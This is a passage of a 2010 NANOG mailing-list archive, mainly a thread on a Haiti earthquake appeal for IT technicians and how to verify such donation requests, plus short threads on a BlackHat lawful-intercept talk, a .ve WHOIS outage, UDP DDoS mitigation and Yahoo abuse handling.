skill) yeilds: > > Project Title: Adopt-an-Haitian-Internet-technician-or-facility > > Project Description: The project aims to collect money and telecom gear to > provide mid-term financial aid to IT technicians that have been affected > with their families during the January 12, 2010 earthquake. Money, telecoms > gears, time, software, etc will serve to setup technology community centers > to support schools, universities, vocational centers that have collapsed. > > Begin Date > February 2010 > > End Date > August 2010 > > The Context: On the January 12, 2010, Haiti one of the poorest country in > the world is hurt by a 7.3 Earthquake that caused major damage to > Port-au-Prince, Jacmel, Leogane and other settlements around. Many notable > landmark buildings were significantly damaged or destroyed, including > schools, universities, vocational schools even the Port-au-Prince Cathedral, > and the main jail. Among those killed are a lot of technicians, students, > teachers. > > Many countries responded to appeals for humanitarian aid, pledging funds > and dispatching rescue and medical teams, engineers and support personnel. > Communication systems, air, land, and sea transport facilities, hospitals, > schools, universities, and electrical networks had been damaged by the > earthquake, which hampered rescue and aid efforts; confusion over who was in > charge, air traffic congestion, and problems with prioritization of flights > further complicated early relief work. As rescues tailed off, supplies, > medical care and sanitation become priorities. Among them we also need to > address education on a mid term run. With a lot of destroyed schools and > dead teachers e-learning can be a good way to overcome this problem. > > Deliverables and criteria for close-out > > The projects has 2 majors deliverables: > > 1. Providing financial support to at least 50 technicians whose houses > have been destroyed during the seism. The idea is getting them a job so they > don?t have to worry about their family basic needs and keeping them on their > workplace > 2. Setup mobile IT community centers to provide IT services to schools > and universities. > 3. Contents production for e-learning > > The project boundaries: This project aims to provide technical support to > teachers helping them putting their courses online or on DVD and make it > available for remote schools or schools whose teachers have been killed > during the quake. Data Center in a box will facilitate access to those > courses by the students. Project will be conducted in joint venture with the > Ministry of Education that will define the priority based on must affected > area and teacher availability. > > The main risks: The main risk of this project is not having enough funds to > address all the needs in supporting the schools in producing online courses > because it?s a well-known fact that in schools in Haiti adopted their own > curriculum ignoring sometimes the official one. The second concern > > Stakeholders: > Client(sponsor): Ministry of Education > > Project Manager: Reynold Guerrier > > Project Team: Reynold Guerrier, Max Larson Henry, > > Steering committee: Reynold Guerrier, St?phane Bruno, Sergey Gaillard, > Roque Gagliano, Max Larson Henry > > Other Stakeholders: Local ISP, LACNIC, ISOC, IDB > > Budget and resources: ($, people, equipment, facilities, software, etc.) > > * 100,000.00 USD for salaries to support technicians and their family to > get them back on track > * 5 contents production units > * Production software > * Management software > > * 10 data center in a box > > Milestones > Date Key deliverables > > Feb-March 2010: Financial support to technicians and families > March 2010: Data center in a box > March-August 2010: Implementation period > > Bank Account Info: > Bank: SOGEBANK > Bank Address : Route de Delmas, Delmas 29, Port-au-Prince, HAITI > Account Number: 130212988 > > Swift code : SOGHHTPP > Beneficiary : Association Ha?tienne pour le D?veloppement des Technologies > de l?Information et de la Communication > Beneficiary Address: 18, rue Moise, P?tion-Ville, HAITI > > People interesting in working in Haiti can send me a skills and > availability statement too, but what is needed soonest is a budget that can > be applied to existing backfill cash needs passed through the AHTIC. > > Thanks and a tip o' the hat to Bill McCall who appraised me of the > truncation. > > Eric > > > -- =================================== Reynold Guerrier IT Consultant 509-3446-0099 IM: reygue at hotmail.com Skype: reygji From smb at cs.columbia.edu Mon Feb 8 11:47:07 2010 From: smb at cs.columbia.edu (Steven Bellovin) Date: Mon, 8 Feb 2010 12:47:07 -0500 Subject: =?utf-8?Q?Re:_Adopt=E2=80=90an=E2=80=90Haitian=E2=80=90Internet?= =?utf-8?Q?=E2=80=90technician=E2=80=90or=E2=80=90facility?= In-Reply-To: <9ab36b821002080943r17c54902rd80fa9a2de7858a4@mail.gmail.com> References: <4B7025BB.7080600@nic-naa.net> <4B7049F9.1080601@nic-naa.net> <9ab36b821002080943r17c54902rd80fa9a2de7858a4@mail.gmail.com> Message-ID: <8A667CFC-E489-4FEB-8FEF-92E28594B62D@cs.columbia.edu> As a matter of form, how might one check out the legitimacy of requests like this? (No, I don't think this one is fake...) From reygue at gmail.com Mon Feb 8 11:55:14 2010 From: reygue at gmail.com (Reynold Guerrier) Date: Mon, 8 Feb 2010 12:55:14 -0500 Subject: =?UTF-8?B?UmU6IEFkb3B04oCQYW7igJBIYWl0aWFu4oCQSW50ZXJuZXTigJB0ZWNobmljaWFu4oCQbw==?= =?UTF-8?B?cuKAkGZhY2lsaXR5?= In-Reply-To: <8A667CFC-E489-4FEB-8FEF-92E28594B62D@cs.columbia.edu> References: <4B7025BB.7080600@nic-naa.net> <4B7049F9.1080601@nic-naa.net> <9ab36b821002080943r17c54902rd80fa9a2de7858a4@mail.gmail.com> <8A667CFC-E489-4FEB-8FEF-92E28594B62D@cs.columbia.edu> Message-ID: <9ab36b821002080955s613438f8xcea7755f034a065a@mail.gmail.com> I got your point Steven. It's an initiative of the AHTIC the Haitian Association for the ICT development, Reports will be available on the funds will be used. http://www.ahtic.ht http://www.e2tech.ht Those sites are references of the AHTIC organizations. Regards reynold On Mon, Feb 8, 2010 at 12:47 PM, Steven Bellovin wrote: > As a matter of form, how might one check out the legitimacy of requests > like this? (No, I don't think this one is fake...) -- =================================== Reynold Guerrier IT Consultant 509-3446-0099 IM: reygue at hotmail.com Skype: reygji From a.harrowell at gmail.com Mon Feb 8 11:57:07 2010 From: a.harrowell at gmail.com (a.harrowell at gmail.com) Date: Mon, 8 Feb 2010 17:57:07 +0000 Subject: =?UTF-8?B?QWRvcHTigJBhbuKAkEhhaXRpYW7igJBJbnRlcm5l?= =?UTF-8?B?dOKAkHRlY2huaWNpYW7igJBvcuKAkGZhY2lsaXR5?= Message-ID: -original message- Subject: Re: Adopt?an?Haitian?Internet?technician?or?facility From: Steven Bellovin Date: 08/02/2010 5:47 pm As a matter of form, how might one check out the legitimacy of requests like this? (No, I don't think this one is fake...) As a start, web of trust. This one was introduced to the list by Eric Brunner-Williams originally, a member in good standing. From gordslater at ieee.org Mon Feb 8 11:57:58 2010 From: gordslater at ieee.org (gordon b slater) Date: Mon, 08 Feb 2010 17:57:58 +0000 Subject: =?UTF-8?Q?Adopt=E2=80=90an=E2=80=90Haitian=E2=80=90Internet=E2=80=90techn?= =?UTF-8?Q?ician=E2=80=90or=E2=80=90facility?= In-Reply-To: <8A667CFC-E489-4FEB-8FEF-92E28594B62D@cs.columbia.edu> References: <4B7025BB.7080600@nic-naa.net> <4B7049F9.1080601@nic-naa.net> <9ab36b821002080943r17c54902rd80fa9a2de7858a4@mail.gmail.com> <8A667CFC-E489-4FEB-8FEF-92E28594B62D@cs.columbia.edu> Message-ID: <1265651878.12135.9.camel@ub-g-d2> On Mon, 2010-02-08 at 12:47 -0500, Steven Bellovin wrote: > As a matter of form, how might one check out the legitimacy of requests like this? (No, I don't think this one is fake...) (it isn't, for the benefit of any casual observers) Technically, a `Very Good Point`. We'd all like to think we're not Discuss.. I'm thinking: a personally-known web-of-trust, for a start. NANOG is a small, specialist community. I'm also thinking most are familiar with PGP/GnuPG, so most if not all of us can provide proof, even if we don't normally. Gord -- SNMPv1:Flawful Intercept :) From brunner at nic-naa.net Mon Feb 8 12:04:48 2010 From: brunner at nic-naa.net (Eric Brunner-Williams) Date: Mon, 08 Feb 2010 13:04:48 -0500 Subject: =?UTF-8?B?QWRvcHTigJBhbuKAkEhhaXRpYW7igJBJbnRlcm5ldOKAkHRlY2g=?= =?UTF-8?B?bmljaWFu4oCQb3LigJBmYWNpbGl0eQ==?= In-Reply-To: <8A667CFC-E489-4FEB-8FEF-92E28594B62D@cs.columbia.edu> References: <4B7025BB.7080600@nic-naa.net> <4B7049F9.1080601@nic-naa.net> <9ab36b821002080943r17c54902rd80fa9a2de7858a4@mail.gmail.com> <8A667CFC-E489-4FEB-8FEF-92E28594B62D@cs.columbia.edu> Message-ID: <4B705240.8080100@nic-naa.net> Steve, Hmm. Are there other requests like this one? I suppose the pilot's associations may be trying to raise money to fix the secondary airfields -- a note from a member of Congress who's significant other has been shuttling a Cessna and stand-alone early relief payloads from the US VI to secondary fields in Haiti made me think of that as another social affiliation targeted activity. I'm sure others are possible. There is the general problem of control, one reason the IRC contacted CORE was to investigate a .redcross so that they could reduce their loss to disaster fraud. Of course, we have to wait on ICANN to get a .redcross or .icrc or ... .ouch into the root so that it becomes more generally useful as a trusted sink of private and public packetized cash. Then there is the specific problem of opportunity. We didn't wait until FEMA authorized us to begin work when Katrina impacted the NOLA and surrounding area, and if had, more would have died than did. As we, who are not in the humanitarian relief line of work, look at the loss of our peers, do we act, or do we leave specific tasks to the general relief agencies? I don't have a "best answer" and I'm aware that aid is difficult, for all involved. Eric On 2/8/10 12:47 PM, Steven Bellovin wrote: > As a matter of form, how might one check out the legitimacy of requests like this? (No, I don't think this one is fake...) > From drc at virtualized.org Mon Feb 8 12:05:40 2010 From: drc at virtualized.org (David Conrad) Date: Mon, 8 Feb 2010 10:05:40 -0800 Subject: =?utf-8?Q?Re:_Adopt=E2=80=90an=E2=80=90Haitian=E2=80=90Internet?= =?utf-8?Q?=E2=80=90technician=E2=80=90or=E2=80=90facility?= In-Reply-To: References: Message-ID: <7D2D5AA3-FDDB-4417-8C3B-CC4B8089ADF9@virtualized.org> On Feb 8, 2010, at 9:57 AM, a.harrowell at gmail.com wrote: >> As a matter of form, how might one check out the legitimacy of requests like this? (No, I don't think this one is fake...) > > As a start, web of trust. This one was introduced to the list by Eric Brunner-Williams originally, a member in good standing. Err, no. It was introduced by (unsigned) email purporting to come from Eric. Followed by another (unsigned) message with bank info purporting to come from Reynold Guerrier. A bit of a difference. Regards, -drc From Valdis.Kletnieks at vt.edu Mon Feb 8 12:37:26 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Mon, 08 Feb 2010 13:37:26 -0500 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: Your message of "Thu, 04 Feb 2010 15:04:22 PST." <173586.49796.qm@web59608.mail.ac4.yahoo.com> References: <173586.49796.qm@web59608.mail.ac4.yahoo.com> Message-ID: <11637.1265654246@localhost> On Thu, 04 Feb 2010 15:04:22 PST, "andrew.wallace" said: > On Thu, Feb 4, 2010 at 8:19 PM, Gadi Evron wrote: > > "That peer-review is the basic purpose of my Blackhat talk and the > > associated paper. I plan to review Cisco???s architecture for lawful intercept > Gadi Evron has absolutely no connection to this research whatsoever. For the benefit of those who just fell out of a tree - anytime a conference paper abstract says "review", it's pretty certain that the presentation won't be cutting 0-day technical stuff, but a *review* of stuff that half of us already know, for the benefit of getting the other half up to speed. Also - note that the skillset needed to be a cutting-edge researcher is *very* different from the one needed to actually present a good review talk and have the information retained by the audience. (I've done overview presentations. It's definitely not easy to make the points "You should be doing X, Y, and Z, and here's why you should invest the time and effort to do so"). > He is famous in the security community for piggybacking off other peoples > research. You apparently fail to understand that making other people's research well known in the community is an important role. Would we be more secure, or less secure, if somebody did the research, but then nobody told the owners of all that Cisco gear about it? (Hint: "pwned router" is never a good day for the network provider) Or would we as a community be more safe, or less safe, if SANS didn't do security traning courses ? > Andrew > Security consultant Is that what you're calling yourself these days? -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available URL: From brunner at nic-naa.net Mon Feb 8 13:09:20 2010 From: brunner at nic-naa.net (Eric Brunner-Williams) Date: Mon, 08 Feb 2010 14:09:20 -0500 Subject: =?UTF-8?B?QWRvcHTigJBhbuKAkEhhaXRpYW7igJBJbnRlcm5ldOKAkHRlY2g=?= =?UTF-8?B?bmljaWFu4oCQb3LigJBmYWNpbGl0eQ==?= In-Reply-To: <7D2D5AA3-FDDB-4417-8C3B-CC4B8089ADF9@virtualized.org> References: <7D2D5AA3-FDDB-4417-8C3B-CC4B8089ADF9@virtualized.org> Message-ID: <4B706160.7020700@nic-naa.net> True. Signed would have been smarter. Better still would be having someone with more creds doing the initial ask. Eric On 2/8/10 1:05 PM, David Conrad wrote: > On Feb 8, 2010, at 9:57 AM, a.harrowell at gmail.com wrote: >>> As a matter of form, how might one check out the legitimacy of requests like this? (No, I don't think this one is fake...) >> >> As a start, web of trust. This one was introduced to the list by Eric Brunner-Williams originally, a member in good standing. > > Err, no. It was introduced by (unsigned) email purporting to come from Eric. Followed by another (unsigned) message with bank info purporting to come from Reynold Guerrier. A bit of a difference. > > Regards, > -drc > > > > > > From drc at virtualized.org Mon Feb 8 13:22:42 2010 From: drc at virtualized.org (David Conrad) Date: Mon, 8 Feb 2010 11:22:42 -0800 Subject: =?utf-8?Q?Re:_Adopt=E2=80=90an=E2=80=90Haitian=E2=80=90Internet?= =?utf-8?Q?=E2=80=90technician=E2=80=90or=E2=80=90facility?= In-Reply-To: <4B706160.7020700@nic-naa.net> References: <7D2D5AA3-FDDB-4417-8C3B-CC4B8089ADF9@virtualized.org> <4B706160.7020700@nic-naa.net> Message-ID: On Feb 8, 2010, at 11:09 AM, Eric Brunner-Williams wrote: >> Err, no. It was introduced by (unsigned) email purporting to come from Eric. Followed by another (unsigned) message with bank info purporting to come from Reynold Guerrier. A bit of a difference. > True. Signed would have been smarter. Better still would be having someone with more creds doing the initial ask. In my mind, it isn't the credibility of the person doing the asking, rather it's the fact that (unsigned) email can't really be trusted (although most, if not all, of us do it all the time). Regards, -drc From sean at donelan.com Mon Feb 8 14:02:51 2010 From: sean at donelan.com (Sean Donelan) Date: Mon, 8 Feb 2010 15:02:51 -0500 (EST) Subject: =?UTF-8?Q?Re=3A_Adopt=E2=80=90an=E2=80=90Haitian=E2=80=90Internet=E2=80=90technician=E2=80=90or=E2=80=90facility?= In-Reply-To: <8A667CFC-E489-4FEB-8FEF-92E28594B62D@cs.columbia.edu> References: <4B7025BB.7080600@nic-naa.net> <4B7049F9.1080601@nic-naa.net> <9ab36b821002080943r17c54902rd80fa9a2de7858a4@mail.gmail.com> <8A667CFC-E489-4FEB-8FEF-92E28594B62D@cs.columbia.edu> Message-ID: On Mon, 8 Feb 2010, Steven Bellovin wrote: > As a matter of form, how might one check out the legitimacy of requests >like this? (No, I don't think this one is fake...) Although folks on the ground are focused on doing good work, this is an area where the reputation and infrastructure of well-known organizations can be used to validate and coordinate fund raising. Unfortunately, with every disaster comes opportunites for fraud and con-men. Like Steve, I don't think this is fake, but is always a good opportunity to educate people who want to help. One possible starting point is the Internet Society http://isoc.org/wp/newsletter/?p=1536 We especially wish to draw attention to the immediate response of organizations such as Inveneo, NetHope, the Network Startup Resource Center (NSRC), Packet Clearing House (PCH), LACNIC, the IEEE, and many others, all mobilizing for much-needed, practical, on-the-ground assistance. ISOC provides links to those organizations, but you should get the links directly from ISOC or the organization not my mail message. For those in the United States, another well-known starting point is the WhiteHouse.GOV website http://www.whitehouse.gov/haitiearthquake_embed Again, those are just pointers. You should still verify people claiming to represent those organizations, and contact them using some out-of-band method. Phishers often email, postal mail, phone calls and even in person contacts pretend to be well-known, well-trusted entities. Suggestions from the US Federal Bureau of Investigation about scams and how to report them in the US. http://www.fbi.gov/pressrel/pressrel10/earthquake011310.htm -- Personal opinion, not representing any organization From janice.spampinato at gmail.com Mon Feb 8 14:30:16 2010 From: janice.spampinato at gmail.com (Janice Spampinato) Date: Mon, 8 Feb 2010 12:30:16 -0800 Subject: Wireshark Developer and User Conference Message-ID: <383443fb1002081230m51e4232et385b03ce7e4a76ec@mail.gmail.com> CACE Technologies hosts the third annual Wireshark Developer and User Conference at Stanford in June and extends an invitation to the NANOG community to participate in 3 days of knowledge-transfer with the Wireshark Developer Group, learning about, and helping to direct, product futures for the world?s most widely-deployed packet and network analyzer. http://www.cacetech.com/sharkfest.10/ From LarrySheldon at cox.net Mon Feb 8 14:59:22 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Mon, 08 Feb 2010 14:59:22 -0600 Subject: =?UTF-8?B?QWRvcHTigJBhbuKAkEhhaXRpYW7igJBJbnRlcm5ldOKAkHRlY2g=?= =?UTF-8?B?bmljaWFu4oCQb3LigJBmYWNpbGl0eQ==?= In-Reply-To: <7D2D5AA3-FDDB-4417-8C3B-CC4B8089ADF9@virtualized.org> References: <7D2D5AA3-FDDB-4417-8C3B-CC4B8089ADF9@virtualized.org> Message-ID: <4B707B2A.8000102@cox.net> On 2/8/2010 12:05 PM, David Conrad wrote: > On Feb 8, 2010, at 9:57 AM, a.harrowell at gmail.com wrote: >>> As a matter of form, how might one check out the legitimacy of requests like this? (No, I don't think this one is fake...) >> >> As a start, web of trust. This one was introduced to the list by Eric Brunner-Williams originally, a member in good standing. > > Err, no. It was introduced by (unsigned) email purporting to come from Eric. Followed by another (unsigned) message with bank info purporting to come from Reynold Guerrier. A bit of a difference. > And looking back through my notes from the lectures provided for my benefit over the years, I'm having a little trouble matching any of it to the charter of NANOG, or differentiating it from the nominal subject matter for NANAE. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From jcdill.lists at gmail.com Mon Feb 8 15:06:20 2010 From: jcdill.lists at gmail.com (JC Dill) Date: Mon, 08 Feb 2010 13:06:20 -0800 Subject: =?UTF-8?B?QWRvcHTigJBhbuKAkEhhaXRpYW7igJBJbnRlcm5ldOKAkHRlY2g=?= =?UTF-8?B?bmljaWFu4oCQb3LigJBmYWNpbGl0eQ==?= In-Reply-To: References: <4B7025BB.7080600@nic-naa.net> <4B7049F9.1080601@nic-naa.net> <9ab36b821002080943r17c54902rd80fa9a2de7858a4@mail.gmail.com> <8A667CFC-E489-4FEB-8FEF-92E28594B62D@cs.columbia.edu> Message-ID: <4B707CCC.5000403@gmail.com> Sean Donelan wrote: > On Mon, 8 Feb 2010, Steven Bellovin wrote: >> As a matter of form, how might one check out the legitimacy of >> requests like this? (No, I don't think this one is fake...) > > Although folks on the ground are focused on doing good work, this is an > area where the reputation and infrastructure of well-known organizations > can be used to validate and coordinate fund raising. Another good reason is so that the funds are tax-deductible. People are willing to give more when they know they can get a tax break and most corporations won't give anything unless it's a tax-deductible donation. There are special rules for personal donations for Haiti this year - if you donate by the end of February 2010 you can take the deduction off of your 2009 tax return. This means you realize the tax benefit more-or-less right away, rather than having to wait a year to see the tax benefit realized with a bigger refund (or smaller amount owed) when you file your taxes in 2011. jc From jmamodio at gmail.com Mon Feb 8 15:07:30 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Mon, 8 Feb 2010 15:07:30 -0600 Subject: =?UTF-8?B?UmU6IEFkb3B04oCQYW7igJBIYWl0aWFu4oCQSW50ZXJuZXTigJB0ZWNobmljaWFu4oCQbw==?= =?UTF-8?B?cuKAkGZhY2lsaXR5?= In-Reply-To: <4B705240.8080100@nic-naa.net> References: <4B7025BB.7080600@nic-naa.net> <4B7049F9.1080601@nic-naa.net> <9ab36b821002080943r17c54902rd80fa9a2de7858a4@mail.gmail.com> <8A667CFC-E489-4FEB-8FEF-92E28594B62D@cs.columbia.edu> <4B705240.8080100@nic-naa.net> Message-ID: <202705b1002081307o151af35cm42fc79041bee04a9@mail.gmail.com> > There is the general problem of control, one reason the IRC contacted CORE > was to investigate a .redcross so that they could reduce their loss to > disaster fraud. Of course, we have to wait on ICANN to get a .redcross or > .icrc or ... .ouch into the root so that it becomes more generally useful as > a trusted sink of private and public packetized cash. I'd leave that statement and discussion for another thread, I think that stating that the DNS and ICANN's mission is to provide certain level of trust for worthy causes is out of the scope of the original message and I'd also say this list. With all due respect I don't believe that this is the time or cause to inject the gTLD applicants "propaganda" to justify the need or implicit community approval for such a gTLD. Let's go back to the original subject. I'd not mind if somebody properly sets up an easy and legit way for individuals or members of the "networking community" a way to donate small quantities to help Raynold and his crew directly via things such as PayPal, but there is a ton of aid going to HT, perhaps somebody with access can influence the process to better direct the funds where they are needed. Regards Jorge From andrew.wallace at rocketmail.com Mon Feb 8 15:08:24 2010 From: andrew.wallace at rocketmail.com (andrew.wallace) Date: Mon, 8 Feb 2010 13:08:24 -0800 (PST) Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: <11637.1265654246@localhost> References: <173586.49796.qm@web59608.mail.ac4.yahoo.com> <11637.1265654246@localhost> Message-ID: <621206.51117.qm@web59613.mail.ac4.yahoo.com> On Mon, Feb 8, 2010 at 6:37 PM, wrote: > You apparently fail to understand that making other people's research well > known in the community is an important role. Would we be more secure, or > less secure, if somebody did the research, but then nobody told the owners > of all that Cisco gear about it? (Hint: "pwned router" is never a good > day for the network provider) > > Or would we as a community be more safe, or less safe, if SANS > didn't do security traning courses ? > >> Andrew > >> Security consultant > > Is that what you're calling yourself these days? They cater for mostly the public sector, doing a SANS course does not make you *SAFE* it just means you have an understanding of current trends and be able to take mitigation. It is not a sure-shot way to be secure, you need to have years of hands-on experience in security. You can't walk out of SANS courses and be a security professional, you need to have a lot more than that. I started Cyber Security from my basement back in 1999 as an 18 year old, I am now 29 years old and am doing independent security consultancy work here in the UK for multiple global vendors. I have various titles and skills, security researcher, ethical hacker, security consultant, any of them can be used as those are the qualifications i've achieved over the years. It's not unusual in the security community for one person to fall into more than one category or be qualified to undertake more than one role. Kind regards, Andrew Security Consultant From Crist.Clark at globalstar.com Mon Feb 8 19:13:16 2010 From: Crist.Clark at globalstar.com (Crist Clark) Date: Mon, 08 Feb 2010 17:13:16 -0800 Subject: .ve WHOIS Down? Message-ID: <4B704629.33E4.0097.0@globalstar.com> For want of a better place to ask, I'm wondering if anyone monitoring this list might know what is up with the registro.nic.ve web site. The WHOIS at www.nic.ve refers to that site, and it appears to be down (for me and downforeveryoneorjustme.com too). Doing old fashioned native WHOIS isn't working any better. From frnkblk at iname.com Mon Feb 8 20:26:46 2010 From: frnkblk at iname.com (Frank Bulk) Date: Mon, 8 Feb 2010 20:26:46 -0600 Subject: Western Canada major outage last night? In-Reply-To: References: Message-ID: I found this: http://www.rys2sense.com/anti-neocons/viewtopic.php?f=12&p=138914 Frank -----Original Message----- From: James Smallacombe [mailto:up at 3.am] Sent: Sunday, February 07, 2010 6:24 PM To: nanog at nanog.org Subject: Western Canada major outage last night? I rent a server with eSecureData in Vancouver. Their network became unreachable yesterday evening around 7:37 EST. They didn't come back online until about noon today, and have given this explanation on their voicemaik during the outage and via email afterward:: ---- STATUS REPORT There has been an unprecedented breakage in upstream fibre optic cables owned by Bell Canada that has caused a network interruption to all of Western Canada. We assure you that Bell has the full force of their network operations department on this issue, and we expect resolution of this issue shortly ---- I've not found any indication of this on bellcanada.ca or any news sites, and this list has been quiet on al things Canadian (I'm in PA, but my server's there). Can anyone verify or elaborate on this? Thanks, James Smallacombe PlantageNet, Inc. CEO and Janitor up at 3.am http://3.am ========================================================================= From hitesh at brownkid.net Mon Feb 8 20:53:05 2010 From: hitesh at brownkid.net (Hitesh Patel) Date: Mon, 8 Feb 2010 20:53:05 -0600 Subject: NorthStar IP Management System In-Reply-To: <2FC5AD01-6EDA-4B46-853F-8A42363B4B0E@brownkid.net> References: <2FC5AD01-6EDA-4B46-853F-8A42363B4B0E@brownkid.net> Message-ID: <8400f181002081853x7c17a8bbnc176fd13257f4b5@mail.gmail.com> It's nice to hear that people are still either using or interested in software like NorthStar. I think that the consensus so far is proper support for IPv6. Luckily the code in NorthStar was written with this in mind so I don't think adding support will be a huge undertaking. I will be starting up the devel and user lists again and will post when they are up. In the mean time are there any other features that people would like to see implemented? On Fri, Feb 5, 2010 at 8:47 PM, Hitesh Patel wrote: > Hello all, > > It has been a while since I posted anything to NANOG. A long time ago (in > a galaxy far far away ;) ) I wrote and maintained a software package called > NorthStar (http://www.brownkid.net/NorthStar) to administrate IP space and > various other things. Life got busy and the project fell off my list of > priorities. > > Long story short I am looking to see if anyone is still using NorthStar? > Would people like to see development start up again? > > -- > Hitesh Patel > > From dougb at dougbarton.us Mon Feb 8 21:17:36 2010 From: dougb at dougbarton.us (Doug Barton) Date: Mon, 08 Feb 2010 19:17:36 -0800 Subject: .ve WHOIS Down? In-Reply-To: <4B704629.33E4.0097.0@globalstar.com> References: <4B704629.33E4.0097.0@globalstar.com> Message-ID: <4B70D3D0.8030900@dougbarton.us> On 02/08/10 17:13, Crist Clark wrote: > For want of a better place to ask, I'm wondering if anyone monitoring > this list might know what is up with the registro.nic.ve web site. > The WHOIS at www.nic.ve refers to that site, and it appears to be down > (for me and downforeveryoneorjustme.com too). Doing old fashioned > native WHOIS isn't working any better. Have you tried the contact listed at http://www.iana.org/domains/root/db/ve.html by any chance? Doug -- ... and that's just a little bit of history repeating. -- Propellerheads Improve the effectiveness of your Internet presence with a domain name makeover! http://SupersetSolutions.com/ From nanog at daork.net Mon Feb 8 21:28:49 2010 From: nanog at daork.net (Nathan Ward) Date: Tue, 9 Feb 2010 16:28:49 +1300 Subject: .ve WHOIS Down? In-Reply-To: <4B704629.33E4.0097.0@globalstar.com> References: <4B704629.33E4.0097.0@globalstar.com> Message-ID: <5CF5FA63-4D20-41F9-B14C-ACA596B5CDF7@daork.net> On 9/02/2010, at 2:13 PM, Crist Clark wrote: > For want of a better place to ask, I'm wondering if anyone monitoring > this list might know what is up with the registro.nic.ve web site. > The WHOIS at www.nic.ve refers to that site, and it appears to be down > (for me and downforeveryoneorjustme.com too). Doing old fashioned > native WHOIS isn't working any better. $ whois -h whois.nic.ve nic.ve Servidor Whois de NIC-Venezuela (.VE) Este servidor contiene informacion autoritativa exclusivamente de dominios .VE Cualquier consulta sobre este servicio, puede hacerla al correo electronico whois at nic.ve ... etc. I get a proper response, anyway. There is no A record in the DNS for ve.whois-servers.net, which is what my client tries first. Perhaps this is where the confusion lies. -- Nathan Ward From serge at euro-ix.net Tue Feb 9 00:06:52 2010 From: serge at euro-ix.net (Serge Radovcic) Date: Tue, 09 Feb 2010 07:06:52 +0100 Subject: The Internet Revealed - A film about IXPs v2.0: now available Message-ID: After releasing the initial version of the the Internet Revealed at RIPE59 in Lisbon last year, we received some valuable feedback from the wider IXP community. We took this feedback to the producers of the film and now have a slightly edited version 2.0 of the film. http://www.youtube.com/watch?v=a5837LcDHfE Enjoy Serge Radovcic Euro-IX From eversuede at chol.com Tue Feb 9 05:57:49 2010 From: eversuede at chol.com (=?EUC-KR?B?w9bBvsjG?=) Date: Tue, 09 Feb 2010 20:57:49 +0900 (KST) Subject: =?EUC-KR?B?YWJvdXQgdWRwIDgwLDgwODAsMA==?= Message-ID: <0.89897600_1265716669@chol.com> These days, most of ddos attack use udp port 80.8080.0 in our country and our network. Sometimes the traffic volume is up to 100gbps higher. So, we are considering to rate(bps) control about udp port 8,8080,0 in our ISP network. Although such a ports arp not be used commonly... I'm wondering about whether any of problems happen after do that. Is there anyone who have experiences controlling udp port 8,8080,0 ? rate-limiting or block! What does application use 8.8080,0 port for the proper purpose? [chk_receive.html?msgid=1265716670&uniqid=23455&sender=eversuede%40chol .com] From rdobbins at arbor.net Tue Feb 9 06:16:06 2010 From: rdobbins at arbor.net (Dobbins, Roland) Date: Tue, 9 Feb 2010 12:16:06 +0000 Subject: about udp 80,8080,0 In-Reply-To: <0.89897600_1265716669@chol.com> References: <0.89897600_1265716669@chol.com> Message-ID: On Feb 9, 2010, at 6:57 PM, ??? wrote: > Is there anyone who have experiences controlling udp port 8,8080,0 ? rate-limiting or block! Not a good idea to use rate-limiting to deal with DDoS attacks - the programmatically-generated bad traffic ends up crowding out legitimate traffic. All kinds of online games (many very popular in the RoK) make use of various UDP high ports; one never knows what applications users are running, so simply blocking ports isn't generally a good idea. S/RTBH and/or an IDMS are a couple of different ways to mitigate DDoS attacks. See this presentation for some BCPs: ----------------------------------------------------------------------- Roland Dobbins // Injustice is relatively easy to bear; what stings is justice. -- H.L. Mencken From john-nanog at johnpeach.com Tue Feb 9 06:54:50 2010 From: john-nanog at johnpeach.com (John Peach) Date: Tue, 9 Feb 2010 07:54:50 -0500 Subject: Yahoo abuse Message-ID: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> Does anyone know how to get Yahoo abuse to recognize that they're hosting a phishing site? All I can ever get back from them is boilerplate telling me they know how frustrating it is to get spam, that it did not originate from them and how to read the headers. Not half as frustrating as their ignorance. -- John From jwbensley at gmail.com Tue Feb 9 07:33:41 2010 From: jwbensley at gmail.com (James Bensley) Date: Tue, 9 Feb 2010 13:33:41 +0000 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: References: Message-ID: <3c857e1c1002090533k10d61944meeff58e70ce8bf8@mail.gmail.com> Cool video, it explains better than I can, I think I will show this to my colleagues rather than failing to simplify an explanation to them. -- Regards, James ;) Marie von Ebner-Eschenbach - "Even a stopped clock is right twice a day." - http://www.brainyquote.com/quotes/authors/m/marie_von_ebnereschenbac.html From bpfankuch at cpgreeley.com Tue Feb 9 07:52:23 2010 From: bpfankuch at cpgreeley.com (Blake Pfankuch) Date: Tue, 9 Feb 2010 06:52:23 -0700 Subject: FW: Yahoo abuse Message-ID: <01759D50DC387C45A018FE1817CE27D7578FFABBB9@CPExchange1.cpgreeley.com> It's almost as much fun as getting them to recognize that my home mail server is not a bulk sender, however even after filling out their form they still continue to block me. In all seriousness my only suggestion is to fill this form out repeatedly. My general experience is that they read 1 of 10 abuse reports... so... http://help.yahoo.com/l/us/yahoo/smallbusiness/abuse.html Also found they respond quicker (if at all) if you flag it as "illegal activity". Good luck! -----Original Message----- From: John Peach [mailto:john-nanog at johnpeach.com] Sent: Tuesday, February 09, 2010 5:55 AM To: nanog at nanog.org Subject: Yahoo abuse Does anyone know how to get Yahoo abuse to recognize that they're hosting a phishing site? All I can ever get back from them is boilerplate telling me they know how frustrating it is to get spam, that it did not originate from them and how to read the headers. Not half as frustrating as their ignorance. -- John From mark at edgewire.sg Tue Feb 9 08:32:28 2010 From: mark at edgewire.sg (Mark) Date: Tue, 9 Feb 2010 22:32:28 +0800 Subject: Connectivity problems to google via openDNS Message-ID: <3AD2E46F-EE38-4AE9-B146-D7C024D73C0B@edgewire.sg> Hello nanog, Just wondering if 